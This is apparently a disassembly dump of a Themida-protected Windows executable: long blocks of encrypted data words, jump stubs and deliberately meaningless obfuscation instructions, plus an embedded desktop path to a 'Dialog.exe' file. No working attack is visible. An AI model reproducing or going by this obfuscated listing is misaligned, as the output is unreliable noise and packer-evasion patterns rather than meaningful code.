dd 0FA0EEDB5h, 319D8B07h, 0FF07FA06h, 0FA179995h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 19671577h, 10E99758h, 0D0000000h, 0D28372A7h, 2B362662h
dd 599BA930h, 6AC3DF4Dh, 1995FF00h, 8B07FA10h, 0E75DEBC0h
dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h
dd 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h, 67F5B171h, 0FF64AD39h
dd 0A7571484h, 0FC0FD0D3h, 3E6605AAh, 0D1D80F8h, 7645E2C2h
dd 81A33CB0h, 0FF4A4B05h, 3B8A6E6Ah, 664787CFh, 3EDA0068h
dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 78218D8Dh, 9D2307FFh
dd 7FA068Dh, 1CD98D89h, 9D3307FAh, 7FA02CDh, 31AD85C7h
dd 58CC07FAh, 11E90000h, 0DA000000h, 28413722h, 0FDD15AFAh
dd 8008B3CBh, 3B8EB88Dh, 2BD985C7h, 7FAh, 860F0000h, 4
dd 28CBB866h, 3391B5FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 2682E6C3h, 59D8BD6h
dd 0FF07FA1Fh, 0FA179995h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 663706E9h
dd 6A05A9BFh, 1995FF00h, 8B07FA10h, 495AEBC0h, 8377A5CFh
dd 0A451E581h, 8FBAF7Ah, 15B26878h, 7294FFF4h, 0C2063A82h
dd 79DE17EDh, 0A86CDD3Fh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h
dd 68BA8E89h, 26DEFAE4h, 2E9D50BAh, 86F68523h, 44B2B1A4h
dd 101F6A86h, 2CACA8A1h, 0C53B7881h, 0D309B6E7h, 99DEB772h
dd 0BA1B9203h, 858D8D73h, 6A07FF79h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5DBCC357h
dd 3ABBC88Ah, 0F6BC74A5h, 8E9h, 0BACB7E00h, 4A9A6503h
dd 0DB816688h
dd 8D89E9FAh, 7FA1CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0B2C35141h, 84289BD2h, 8B99A25Fh, 0FA230DB5h
dd 0AD85C707h, 6407FA31h, 0E9000069h, 11h, 0E3FF9922h
dd 76303233h, 0A2CB06F5h, 6D4E6BCDh, 6880F9Ah, 2B000000h
dd 0FA0E8D95h, 0D985C707h, 7FA2Bh, 0E9000000h, 6, 4E4E3A7Ah
dd 0B5FFB61Ah, 7FA28EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 7C35545h, 21495DF5h, 8ACDDBD5h, 95FFFCD8h
dd 7FA1799h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 17C35646h, 6AF9FD39h, 1995FF00h, 8B07FA10h, 491AEBC0h
dd 0D634A074h, 0C8081A4h, 64393C06h, 10E098CBh, 0AD053BB8h
dd 0D0D02EB8h, 0B0E902h, 66600000h, 0C2F6DA8Ch, 0C850F04h
dd 3B000000h, 0FA08A585h, 36840F07h, 3B000000h, 0FA051585h
dd 2A840F07h, 3B000000h, 0FA0AF585h, 1E840F07h, 3B000000h
dd 0FA2ABD85h, 12840F07h, 83000000h, 0FA1DE9BDh, 840F0107h
dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h
dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch
dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh
dd 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0FA4F669Dh
dd 5B807h, 0E3FF0000h, 0D00BC361h, 6FE9h, 7D5BBC00h, 5C3A430Bh
dd 75636F44h, 746E656Dh, 6E612073h, 65532064h, 6E697474h
dd 4D5C7367h, 69747261h, 6143206Dh, 6E6F6272h, 65445C65h
dd 6F746B73h, 69445C70h, 676F6C61h, 6578652Eh, 0Ch dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DBF11
; ---------------------------------------------------------------------------
push 7FF7CACh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF7DB3h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF7FCCh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF800Bh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF80BAh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF8170h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF858Ah
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF8858h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FF8971h
jmp loc_59895C
; ---------------------------------------------------------------------------
wait
db 64h
push ecx
retf 0EB23h
; ---------------------------------------------------------------------------
db 0DCh, 55h, 0AEh
dd 3DE46B52h, 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h
dd 0A510EA91h, 2F86771Eh, 850271A8h, 0EFE191C8h, 0D5BBEF28h
dd 26996F56h, 0E21734F1h, 0E05D94E7h, 0E7E21723h, 0B0ED3883h
dd 0F69120D9h, 942DD8BFh, 38898057h, 0BFC972B1h, 0F6FE3BB0h
dd 78220F70h, 0DF1C2F3Eh, 2AB3FBA2h, 0FD48E3D2h, 0F8FE7BB2h
dd 6AEF7C4Fh, 401E81Fh, 0DB269D69h, 5E65A140h, 0F02D78C3h
dd 602FE81Dh, 0A01EFDCh, 898120BBh, 27429F3Ah, 9E09ED5Ch
dd 70B57ED3h, 490CD0AAh, 0E8000000h, 1CD956D5h, 7CE7E217h
dd 0A022D031h, 255FE1C6h, 0C4F941E8h, 0BEDE108Dh, 0FD48EF7Ch
dd 0CF742D62h, 9601EFDCh, 85CD76CBh, 0F504D0AAh, 9D000000h
dd 8ED4A2F4h, 8D0AA480h, 0EFDCC0D0h, 399AE530h, 0FD39C4DDh
dd 6326F75h, 0A81DEED5h, 0EA7CAC0Dh, 8EA79CD8h, 0D28F0C43h
dd 32E7E24Dh, 3AD3AAE7h, 0ECAB548Bh, 56E84CFAh, 6DF4B12Eh
dd 954E7E2h, 0FAE81BEh, 0F930CBF2h, 6E40FD7Ah, 55A0E7E2h
dd 0F9C84118h, 774EBF5Eh, 3FCAB1F0h, 63A0EB86h, 0E272F2F6h
dd 962FDEE7h, 2091680Fh, 99D61685h, 33827B62h, 0A1104D98h
dd 7C942224h, 77876EEFh, 1D5AA540h, 83FA81CCh, 52CF063Bh
dd 0F770F675h, 0AC93CA15h, 0BE425251h, 8CEA3AA6h, 0F613BA41h
dd 69B791CFh, 88532F17h, 0DA545h, 0CFE61900h, 5A69A148h
dd 0E9D02CD3h, 7245BB62h, 0B944EBh, 4EF4DF79h, 0DC830AB3h
dd 680F962Fh, 0F59C2392h, 0EF26AD04h, 93460380h, 6DA6EFE1h
dd 0CC2CD539h, 208F2892h, 19A860FFh, 1FF6337Eh, 0AD54DBE2h
dd 0E2DE655Ch, 0B7345D9Dh, 0E7E216FAh, 8DC40F5Ah, 7C1FDE10h
dd 62FD48EFh, 0DC30742Dh, 0CB9601EFh, 0AA24CD76h, 128F0ED0h
dd 0EFDC2455h, 0B42D6AB5h, 0E1h, 259C6D90h, 911EEB8Ah
dd 2786A562h, 811C67F3h, 0E316484Ch, 0ECC534E7h, 604FBE65h
dd 0CE70B5B4h, 5AF54045h, 7A58A3EBh, 0B5999E90h, 0DC4D8CEDh
dd 847B02A7h, 0E11B0239h, 0BEDA3BD6h, 0EFF05A2Eh, 47B6F33Eh
dd 9D24E1C8h, 45F1F360h, 0BE3DEF7Ch, 0DC468441h, 5C99E4EFh
dd 0C239C00Bh, 910E457Ah, 0F77092E9h, 42C1F843h, 7C17AE5Bh
dd 253FFC31h, 549FF7D9h, 44C1A817h, 0AC5F467Dh, 0F6337E19h
dd 4C759037h, 17743A0Eh, 0B8FBC62Fh, 0C9Eh, 4FD6EF20h
dd 0DA6150A8h, 69F0D733h, 0F2794CC2h, 8007BE4Bh, 0A855FDE6h
dd 28E38A11h, 9D6F169Dh, 0DFCA32Ah, 87F62DB4h, 0E1944D0Ah
dd 4074ADEFh, 5613EED5h, 2C7712ABh, 51A746E1h, 2D78C35Eh
dd 0D5EC19F0h, 7144B79Eh, 8F4E8BD6h, 19A011E8h, 0D19C6D1Dh
dd 1CEC8B3Ah, 88BF5AA5h, 16CF8C09h, 0E42FE7E2h, 8839D0A7h
dd 8D1FA851h, 84F88A59h, 1813D04Dh, 2873E7E2h, 75B52CEBh
dd 0B6840138h, 3AEF7C46h, 49813EBBh, 0AAE1EFDCh, 0DC49702Dh
dd 3A85D0EFh, 0C661ACFDh, 0DC48D891h, 6451AAEFh, 0E7DE2AC9h
dd 0DAA5C04Ch, 49490683h, 5EA9EFDCh, 0C9B02F13h, 0A0EB863Dh
dd 0E43D0863h, 0D0AA0F5Fh, 1172h, 0A5C94E00h, 62000008h
dd 16A966E3h, 0BE09E7E2h, 5D9D5581h, 836AE920h, 56A13C8Bh
dd 2D96AC19h, 0FD48EF7Ch, 7B4AC362h, 51039B44h, 3980D77h
dd 0A96007C6h, 0C7467D18h, 0DC3D8D4Ah, 0B84EEDEFh, 0D41F6A05h
dd 5E4B2A97h, 647F5718h, 7E2DDC99h, 51D4DC3h, 0F52C779Fh
dd 0BEA0224Ch, 256298ACh, 774EBF66h, 48BEA5DCh, 0C23BDA75h
dd 0FE6BA8F3h, 5720F544h, 0D2935EB9h, 5C038A3Bh, 34DD14ADh
dd 0BA536B27h, 85A0AA0Bh, 0E91EF12Eh, 46B82DD3h, 17E7CE05h
dd 3D0863A0h, 0F9308178h, 90CDF812h, 0CCD32AD1h, 0CACC5730h
dd 56F13CD6h, 17EA7E7h, 57203F44h, 0D70E59A4h, 0BA3F385Ah
dd 6097E25Eh, 3EA764E1h, 0BC075F1Ah, 8DA4C07Fh, 0C0F73474h
dd 0B445A543h, 93104766h, 671445D6h, 69A0EB36h, 818E67C0h
dd 7F919DABh, 57C0FD48h, 49AEAF2h, 0B1EE2E35h, 4B7A937Ah
dd 90229F0Eh, 3A4CBF3Dh, 35D1B8EFh, 0F7E518Eh, 6C29A6CFh
dd 464D1F3Eh, 88E902BBh, 870F2CE5h, 63AEF959h, 54B9AF2Ch
dd 0E02B54B5h, 644BC2A9h, 22DF59D3h, 54B5009Bh, 98E35E23h
dd 0A039E261h, 30B2142Fh, 6402BFF4h, 1762551Dh, 85741BDAh
dd 376CEE2Ch, 0D19C4DDBh, 0A858Eh, 0EFC63900h, 7A49C168h
dd 9B04CF3h, 9225DB82h, 2099640Bh, 6E14FF99h, 0FCA32A93h
dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 966623A0h, 8DC6EFE1h
dd 259C6D59h, 0E07A7FE7h, 7DC08B20h, 0A46h, 0A72E8778h
dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh
dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E196A562h
dd 98CC05EFh, 8A259C6Dh, 0BD531EEBh, 0ED246F0Ah, 0E216B370h
dd 7DC813E7h, 0AAC3DAF6h, 79F62D62h, 0EF7C1CDBh, 1371B65Fh
dd 0DAE864DFh, 0CA014C9Dh, 0BE4C27E3h, 167FBC07h, 30ECB3B1h
dd 0EE7FBFB1h, 0C40FAA13h, 96E1D825h, 0CF9E05Fh, 790B78B5h
dd 5B933A1h, 3CD7EE1Eh, 1886E0DBh, 8CD75C57h, 18B3FE4Fh
dd 0F52C61A9h, 29168278h, 72A9F4C1h, 0BC43728Bh, 8FCDE415h
dd 0F94F7899h, 971B5E29h, 27000009h, 0AF56DDD0h, 3AE1685Fh
dd 0C970F7CEh, 52F98037h, 0ED870EB7h, 18A15CE6h, 0A411EA91h
dd 3184761Dh, 0BB0A03AAh, 118EFD34h, 0EFE19754h, 0D5477BB4h
dd 6AA71EEEh, 0B04B7A93h, 95CCFB11h, 0E6155CAEh, 9EE984CFh
dd 0C865A261h, 4AE7E216h, 0D84F9CA1h, 0FD3A5FF0h, 0A2D91656h
dd 79628825h, 0E9230AEFh, 58A443DEh, 307BC661h, 2057A2F3h
dd 0F36724A1h, 7CC7EFE1h, 10E9D03Fh, 0F4DB1AA1h, 9B72AF06h
dd 2DEA6762h, 8DEFE1F3h, 0D9C0F742h, 59F89322h, 2B7611A0h
dd 0FEC541E0h, 0B24FEEC1h, 5239700Bh, 0F9D00DB8h, 1CA56003h
dd 0A06793D1h, 5823271Fh, 8E115h, 932ADD00h, 1E95650Ch
dd 0AD14F097h, 36897F26h, 0C4FD08AFh, 12B0A33Dh, 0A047CEF7h
dd 2CD35A6Bh, 0B960E7DEh, 0B3EA7140h, 980AC744h, 316AEFE1h
dd 259C6DFDh, 0A312EB8Ah, 0F29B0A08h, 465FE9F9h, 1C95648Ah
dd 6E3994D1h, 0B067660Fh, 0D43E5AD1h, 7849C097h, 6F09B2F1h
dd 4FB08BF8h, 0D36A1DEh, 0CED7508Ch, 66A31AE7h, 547EDh
dd 8A078600h, 0E7E2BBCDh, 0BBD5920Fh, 0EA35E7E2h, 0E9DC32D1h
dd 9D35619Eh, 6CE9205Dh, 0EF7900CFh, 6ED246Fh, 0C037BEF7h
dd 70A7427Fh, 6DE28DC7h, 3D7A9188h, 58B4CD0h, 0BD88F359h
dd 34837960h, 3DA78CF7h, 551A563Ch, 0F6000000h, 0E81F5A9Dh
dd 172FEC69h, 448FE7E2h, 978A53E3h, 417EC808h, 0E39855D2h
dd 0F3DAE7E2h, 7514AF16h, 0A7E42F86h, 3B700B56h, 801C6BEh
dd 0C41DE853h, 0F738097Fh, 1B52h, 0F404EB00h, 3E9754D1h
dd 0ACF7084Ah, 0EBFD0061h, 0B09EBEF7h, 0FCC94773h, 0A5000001h
dd 0E81F5A9Dh, 0C32E273Fh, 0AD0EE1F0h, 0F7BECC62h, 0F7CA07CAh
dd 6C73EC2h, 0AF7AE551h, 3D7DE152h, 1FE0AEh, 9DBC0000h
dd 4F841F5Ah, 5105F386h, 0C41DE853h, 0AE3C547Fh, 3289755Ch
dd 960F4C97h, 0A4h, 1F5A9D72h, 15C069E8h, 348ECFC3h, 0D18E4B80h
dd 0A3EEE7E2h, 0BD7AF766h, 0FFE7E2D0h, 96C87A56h, 7388C6AAh
dd 9096F742h, 0C3BC00CCh, 0F54091CEh, 5C23FBEh, 1DE7E231h
dd 5750D914h, 63AEC741h, 270E8526h, 0BA4E1D4h, 34C53BF7h
dd 0CB43E27Dh, 17AE5DFCh, 39041F7Ch, 0EC378E7Ch, 72CB96E9h
dd 94D360C9h, 0DB18B096h, 50FFC370h, 32FED7h, 0D5DA0000h
dd 68A518EEh
dd 0C437EC1h, 0E216D48Fh, 0F8E934E7h, 9EF19BB4h, 39B57ED3h
dd 9716D750h, 0E20F5D1Ah, 3572BDE7h, 7BCh, 14C99800h, 0A5000001h
dd 0E6C9h, 0B9B96200h, 0E5F1D6Ah, 9D4874B1h, 4F841F5Ah
dd 3D11D8DFh, 0E548137Eh, 5B2CE966h, 418C3D32h, 7DAA9904h
dd 92278200h, 3000000h, 8F18EED5h, 0DA9AEF7Eh, 0CC095431h
dd 70A7E225h, 0E2E436F3h, 0B04B96E7h, 0C2FEA27Bh, 47F06F07h
dd 0C3508BA0h, 9E11E7D3h, 306DB803h, 0CCB30AD5h, 0A3EE8930h
dd 20BBF204h, 62D98D5h, 0BBF7701Fh, 47h, 0A82CD597h, 81A20472h
dd 24D7490h, 0A0D91EC5h, 3C898269h, 561390FFh, 0B6E7E27Dh
dd 0C29BD06Bh, 0D444C297h, 51F08B22h, 0CF6E09B8h, 0A5F08B32h
dd 0AB1EE90Ch, 0AB6148C7h, 0B984DF1Ch, 70AADB68h, 7F6BAh
dd 0C9D20000h, 53h, 399C6DA5h, 9A447E90h, 0F82DCEE1h, 0E7E2E73Bh
dd 55B1509Bh, 5EC236Eh, 0DB26C1F8h, 0DC96CB9Eh, 58E7E2E6h
dd 0AA6322EDh, 9D98941Bh, 873ECB5Ah, 0E31E053Ch, 30749DDAh
dd 0AD52862h, 0E211E2B5h, 92D60E7h, 0BAD75034h, 0FFFFFF03h
dd 2AEC996h, 0D5A50000h, 6BA81DEEh, 0B14C6594h, 43CAFB12h
dd 0E6638CCCh, 0E7E21729h, 9F2ED41h, 89A28368h, 3FBCF33Eh
dd 0EF7C9639h, 3AF774ABh, 9AEFDCA6h, 6C55B04Fh, 0A03B86D1h
dd 0DCA5B26Bh, 9D43FEFh, 0AAB68BB8h, 906950D0h, 0FE3B8621h
dd 3C85h, 5D9D6100h, 836AE920h, 90FD3A8Dh, 0EF7C1F5Eh
dd 0F1AE2BAAh, 51EFDC2Eh, 2EE09D1Ah, 0F540EFDCh, 0D11C6DAAh
dd 2F480136h, 6AD5EFDCh, 25F1429Fh, 0DFD0D0AAh, 69000000h
dd 0FE3B8A82h, 0D19C6DD2h, 0A6418C3Bh, 0D808C66Fh, 29DD21E8h
dd 0F7B875F2h, 0CD18E7E2h, 754CB990h, 0F3C23BDAh, 0A8782158h
dd 41188C9Bh, 53EEC736h, 0A980BD08h, 9DDA6150h, 0E7E29399h
dd 0B63D7485h, 9C6EFF3Fh, 0F8438E29h, 9124DAC1h, 124AABF6h
dd 395E6F7h, 50CD3C79h, 0EF767A26h, 7B3F1F80h, 9F86BB7Bh
dd 0AC788E38h, 8539E08h, 0A61FEAD1h, 3F9E01Fh, 97CE19B4h
dd 0DE2C5D1Ah, 3572BDEFh, 0DC1AA35Eh, 271C69A6h, 0C7549762h
dd 0F7000004h, 7F26AD00h, 0AB1388Fh, 9940C7FEh, 22C95067h
dd 0BD57DEE7h, 0E8D12CD6h, 7441BA61h, 1B446EDh, 8B3AD37Ah
dd 0E15ECD04h, 0EFE19C24h, 0D5174B84h, 6AA71EEEh, 71397693h
dd 6255A742h, 84000A01h, 0E11B0239h, 0B3F03BD6h, 5BC4DF4h
dd 9C6D827Eh, 0F607EE25h, 3AD924BFh, 0E1B4F1C4h, 0F1AE2BAAh
dd 51E7E216h, 1BF2C906h, 6CAC23AAh, 597BF82Fh, 3EF7C17h
dd 31E81DB8h, 0A4EFDC18h, 761F7E49h, 2F01EA17h, 7D246159h
dd 20C9003Dh, 0ECE14987h, 0B2215E3Bh, 76531335h, 0EB72BDF7h
dd 0C0F73474h, 6D3DA643h, 0C4FB46FFh, 139A21DDh, 0D5CE17D6h
dd 0EEB861FFh, 0F6B14A37h, 0B349205Dh, 88327D04h, 0E000000h
dd 1CD956D5h, 7CE7E217h, 170BC845h, 206BE7E2h, 722B98D5h
dd 74E7E217h, 0C36AF1CEh, 0CA498047h, 0E217904Dh, 68A5F0E7h
dd 16A36095h, 90BFE7E2h, 0D38A67E7h, 0BA948574h, 568BEC57h
dd 207BB859h, 4D749055h, 5D1A9716h, 0BDE7E27Dh, 7D4C0986h
dd 61ACE7E2h, 0DB1AD916h, 4DAE07F4h, 0D37C6D60h, 0FE623B1h
dd 0FA2FCAFDh, 0E7E24840h, 7E47127Dh, 226238Ch, 0BF264F82h
dd 0C7AEED74h, 35218235h, 8567716Dh, 0D5709CD9h, 6A518EEh
dd 0AC83C0F5h, 8730675Eh, 35D2F7A6h, 0D9ACE949h, 5AF5C03Ah
dd 0D77245BBh, 58F3C238h, 0A415E0FBh, 9F8E37A6h, 10A9F95Ch
dd 400B66A3h, 0A9308775h, 3C8B836Ah, 0AC1956A1h, 0E7E27F97h
dd 505EE215h, 2D6FD750h, 4BFFFFFFh, 34D19C6Dh, 0BD53F28Dh
dd 0D9246F0Ah, 0A554F38Eh, 0D956D50Ch, 0E7E2171Ch, 7692317Ch
dd 0DC53124Fh, 0A9285F9Ch, 16F0AD2Ah, 550E7E2h, 0E21713D0h
dd 0EB2873E7h, 31F9FF7Ch, 664DEF7Ch, 94E5229Bh, 9077AE49h
dd 9E0B4879h, 0EFDC41E5h, 0E53C0772h, 0D0AA125Eh, 5973h
dd 108D0C00h, 0EFDC3A53h, 0D1E814B3h, 9D1D4986h, 40E9205Dh
dd 0D6CA702Eh, 619938B9h, 29A61552h, 0EF7C5CF7h, 18A15C43h
dd 0A43F8ADBh, 0DC6CB66Fh, 0DD843EFh, 8231C9B0h, 5BC48E7h
dd 97D41F6Ah, 0AA6B072Ch, 0C845C4D0h, 0EFDC610Bh, 8930CC6Bh
dd 1B58A3EEh, 0D4A2h, 9C6D7E00h, 1EEB8A25h, 17813EBBh
dd 96E1E7E2h, 0D079B04Bh, 0C06F4E2h, 6E4582D5h, 8F36D29Fh
dd 0C972A944h, 87CC378h, 663D7AEAh, 58971E97h, 932E9571h
dd 9A9E0B48h, 86E7E226h, 10B73E77h, 0BE2DC8F9h, 230A417Eh
dd 0F843DEE9h, 95CF4CBBh, 0EFEF7C3Ah, 66A61DA4h, 3575F229h
dd 9FF7709Eh, 0B79E1D54h, 823F744Bh, 5CF7D91Eh, 0AFFA13AAh
dd 0E11C0372h, 5FAA51D8h, 7BD02866h, 0D9A42F17h, 1F996h
dd 7B32C500h, 6BD4DF4h, 952CD87Fh, 1E91670Eh, 0AC15F097h
dd 0FA988B25h, 882FB60Fh, 14BB4273h, 0A148CFE6h, 9BD25968h
dd 9EF2AF2Ch, 1952EFE1h, 6F56D5E5h, 39F62B92h, 99E7E217h
dd 1AB500FAh, 19E584CFh, 7FBC07A2h, 0DD645DA8h, 67EEC736h
dd 205D9D6Bh, 0C1C16AE9h, 0A31AE7A2h, 0E4F02A42h, 1A083AA7h
dd 2772EF7Dh, 299E578Ch, 0C02BEFDDh, 2E979CF5h, 0D82AD0ABh
dd 6000000h, 8A259C6Dh, 0CA71EEBh, 0E21BD3D7h, 774EBFE7h
dd 15AC5940h, 9B7219D8h, 0D8208F2Ah, 6ED6CA3h, 0C324BFF6h
dd 0CD1505D5h, 55F43F85h, 2B7611A8h, 0B44781EEh, 2A1EF7Ch
dd 1F96660Bh, 53EE3984h, 9F86BD08h, 7EF8596Ch, 0A83DDAD7h
dd 7EF5B4F1h, 4BCA013Eh, 3ECA9764h, 56A13C87h, 8DC7AC19h
dd 7259F770h, 0F2912C99h, 0C813AE17h, 0A4EF407Dh, 0F26FEE6Dh
dd 0F7D92035h, 2BC6F90Fh, 0D228C7E0h, 845B98E3h, 1AD75479h
dd 7AF7D920h, 0B65DE42Fh, 0FA34724Bh, 0A62F1775h, 0E098DBh
dd 29DE0000h, 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h
dd 0BFA43EC5h, 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh
dd 0BC845B4h, 6BEFE1A0h, 906DFE32h, 2FBA229h, 6D302CB3h
dd 538A259Ch, 3BD09D6Ch, 59A4EF8Ah, 0FDB4451Ch, 96BFFF76h
dd 34695CAFh, 0E7E21777h, 0A418CD7h, 7900F48Dh, 662B8CEFh
dd 8D29D291h, 7C639AE5h, 0B5A9218Eh, 511FDF0Dh, 0EF6EA506h
dd 850E89CAh, 27D67548h, 7443BBA2h, 9C598ED9h, 0FCEFE126h
dd 38DF66B1h, 2055F0C1h, 0EC6377DAh, 33F2BDD8h, 0C582FFDAh
dd 25FC63F7h, 0F23D7086h, 0FAE120A7h, 0A178B500h, 79225968h
dd 0BF1CA638h, 0FFD20F64h, 7C17AE60h, 7C39041Fh, 6AD348Dh
dd 0E916AF7h, 0EA4C544h, 0EA35805Ah, 80C4Fh, 0DAE80000h
dd 457C8C73h, 9A6DDC08h, 10E98823h, 956706A1h, 13E88722h
dd 9D6807A2h, 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h
dd 68FA8A25h, 3837h, 53240C89h, 0C381E389h, 4, 4EB81h
dd 1C870000h, 0C895C24h, 5F416824h, 1C890000h, 7B2E6824h
dd 0C8B07FFh, 4C48324h, 241C8B54h, 4C481h, 8F510000h, 34FF0843h
dd 0C4835B24h, 2434FF04h, 4C48159h, 0E9000000h, 0FFFBCA50h
dd 0E1AF641h
; ---------------------------------------------------------------------------
pop ss
assume ss:nothing
loc_5DBF11: ; CODE XREF: Themida_:005DAF10j
mov eax, 7FF8A76h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
mov ds:0E94219A4h, al
db 36h
pusha
push edi
db 3Eh
push 26h
cmp al, 19h
sub ch, [esi]
popa
icebp
adc eax, 1A760E04h
stosb
push ebx
test [edi+1Ch], bl
sbb al, 1Dh
pop eax
sub ebp, [eax+69h]
sbb [edx], ecx
add ebp, edx
add esp, ebx
dec edx
push ebx
retf
; ---------------------------------------------------------------------------
dd 1B497B61h, 0FB8F57F7h, 0A8C7255h, 0ECB14980h, 0A60A2402h
dd 72655325h, 337B15E2h, 9258148Bh, 98D967A6h, 6A4E5E11h
dd 10730E36h, 27E919C3h, 0DD000000h, 569B06h, 8 dup(0)
dd 2AE90000h, 9000005h, 0AE5B910Dh, 57043A64h, 0FDAAE0BEh
dd 0A9568C12h, 0CC003668h, 0BDE13017h, 643ADA87h, 0F8F812Eh
dd 0B7E72CD9h, 3E5AB281h, 7E60EDBh, 0A7ECA309h, 5E19F66Ch
dd 0E683DF42h, 43AC05FFh, 0DDC153B8h, 267B0B74h, 69879E9h
dd 43E9527Bh, 0C7C64BB0h, 0B461F749h, 21C170EAh, 0DE76AC15h
dd 6E148A89h, 0C14C52C1h, 0AAF41C71h, 0BBBC5704h, 0E71B3C9Fh
dd 930B06FFh, 90F952h, 14FD65ABh, 6DD6FF8Ah, 14B9E2h, 65F89Eh
dd 0A8018C12h, 550D0358h, 2E57E2BCh, 0E49E1FC5h, 0C6E8EB15h
dd 53AFFF2Bh, 8B1300ADh, 3668A855h, 0E1BD5300h, 0CADC0656h
dd 5BAC0D45h, 67AD5A00h, 0DA1AAC37h, 26A6E3B0h, 882ECCDAh
dd 0A7694D07h, 0FF14C1F7h, 82E8149Fh, 0B3FFE6C6h, 0D764012Bh
dd 25000DA7h, 0A248B1EDh, 58986721h, 0E6F9D93Ch, 8AE07FFh
dd 75050038h, 679E38h, 0A72F0000h, 5BB60B6Ch, 238FB843h
dd 0FFE683C0h, 9F0E7CE6h, 27BAD351h, 7ACA55BEh, 0D99B9650h
dd 0FD127DFAh, 84ED16A1h, 77056ADEh, 0AA32FFE7h, 76EB4E6Ah
dd 8419FFE7h, 0FFA50E90h, 85BDC47Eh, 23387583h, 1, 0F76BA7B4h
dd 921D8618h, 2EB9E52Dh, 0CD5846C9h, 9D813B74h, 7B23ED75h
dd 285EC7F0h, 0D006987Bh, 0A967BC19h, 6FA24FF5h, 0D33FA42Fh
dd 0F32440CBh, 0A6BC5539h, 94CA336Bh, 2F4B2CE7h, 0FFE683CCh
dd 832C8FABh, 15AFFE6h, 0B8E62BC0h, 329B042Dh, 0CBD342A7h
dd 0E09A1B40h, 837DE711h, 1F1ECBC0h, 1E61A979h, 6CFF3875h
dd 90000000h, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0EBB35E0Bh
dd 841AFB60h, 3598B4F4h, 5BFFE683h, 70C95C02h, 78997D37h
dd 358F026h, 0DD06910Dh, 17878A37h, 0B6E8278Ch, 0CB85062Bh
dd 74897CC4h, 511A38h, 75CA0000h, 4F78039Bh, 6AA7F2A9h
dd 8E7A4B23h, 319A9B46h, 0CFCF41A6h, 5BF0044h, 78AEF021h
dd 2184A0E0h, 4FFFE694h, 0BC9950F6h, 82FD607Ch, 0CA23FFE6h
dd 39B7724h, 82E64C78h, 0A617FFE6h, 8FADE5ECh, 84B3874h
dd 0FB000000h, 0AA3569A6h, 0A724DB81h, 55A5306Eh, 38E1000h
dd 8C8734DAh, 0CCF58712h, 0B7E72E12h, 0F7692081h, 99ED4B67h
dd 0C01907E0h, 5B43D035h, 39B7825h, 0C144973h, 0F9D5B657h
dd 349B9058h, 791F8864h, 5D55BAE6h, 0FB3C07E1h, 0E8B65D41h
dd 0CBAE2E58h, 0DB1B9F1h, 977C2967h, 0FC177C07h, 0CAFB17A2h
dd 0B7E72C10h, 613DD227h, 75AD7DBBh, 5C406EB7h, 7E073B32h
dd 0BE4ED4FAh, 0E0CE3FA2h, 660C6507h, 13785h, 96F31600h
dd 0C81E3ACAh, 0D607E0B8h, 44CFCF41h, 0D727B21Bh, 670D9182h
dd 0F4559BAh, 0C7DCB162h, 55DD0A11h, 18868C31h, 54BF24AFh
dd 0F89D010Eh, 0D1FA8519h, 90C1DD68h, 7D21F2D6h, 0B75AAF47h
dd 397141E7h, 0D7406F5Bh, 52h, 0C69AF368h, 83971A36h, 0E43D7FE6h
dd 95F81454h, 0BB7FE682h, 0FD29BC62h, 7FE6829Ah, 0FC944E77h
dd 747D791h, 4A4B07DDh, 0EBA76564h, 18C53F79h, 48C76CDFh
dd 0B93CB056h, 27FFE5D8h, 28E93ECEh, 48C2EB76h, 0B2656E3h
dd 7BB95FBAh, 9B94h, 96F32D00h, 0B41E3ACAh, 3207E09Ah
dd 0C029759Dh, 2D35DB30h, 52EB9E5h, 67AC119Ch, 1A83AC37h
dd 990B6E8Ah, 0E03907E0h, 0D142A73Ah, 29EA97CDh, 459AEA75h
dd 0A44CFCFh, 0C1723D2Fh, 6AC1525h, 0E1202A92h, 7E387907h
dd 0EF25799Ah, 910D0257h, 0D637DD06h, 11DADB3h, 0FE0AAD0h
dd 4DB23D96h, 0BB4DD8C6h, 6441517Bh, 0A63C5284h, 2DC57F00h
dd 5874045Ch, 7EBC027h, 1F829EDEh, 0C07E0BCh, 2C8AF647h
